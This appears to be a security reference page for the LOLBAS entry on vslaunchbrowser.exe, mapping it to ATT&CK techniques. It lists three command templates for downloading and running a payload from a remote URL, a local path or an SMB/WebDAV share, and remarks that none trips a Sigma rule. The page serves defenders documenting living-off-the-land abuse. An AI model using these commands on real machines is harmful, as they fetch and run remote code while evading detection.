Identifier / Programs / Windows
vslaunchbrowser.exe
LOLBAS Download, Execute 2 ATT&CK techniques 3 documented commands
How vslaunchbrowser.exe is abused
Download T1105 Ingress Tool Transfer
Execute T1127 Trusted Developer Utilities Proxy Execution
Each abuse is LOLBAS's category and the options and words it uses; the full write-up is on LOLBAS's page for vslaunchbrowser.exe.
3 documented commands
Download T1105 Ingress Tool Transfer User privileges
Download and execute payload from remote server
VSLaunchBrowser.exe .exe {REMOTEURL:.exe}Execute T1127 Trusted Developer Utilities Proxy Execution User privileges
Execute payload via VSLaunchBrowser as parent process
VSLaunchBrowser.exe .exe {PATH_ABSOLUTE:.exe}Execute T1127 Trusted Developer Utilities Proxy Execution User privileges
Execute payload from WebDAV server via VSLaunchBrowser as parent process
VSLaunchBrowser.exe .exe {PATH_SMB}None of the 3 commands the identifier reads trips a Sigma process-creation rule. These commands and their descriptions are from LOLBAS’s entry for vslaunchbrowser.exe, by Avihay Eldad, at commit 2056cb766250 of 2026-09-26, under the GPL-3.0 and LOLBAS’s notice, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on LOLBAS’s page for vslaunchbrowser.exe. The identifier reads each with LOLBAS’s placeholders filled in: a URL as https://example.com/file, a share as \\192.0.2.10\share\file, a path as C:\Data\file and a command as calc.exe.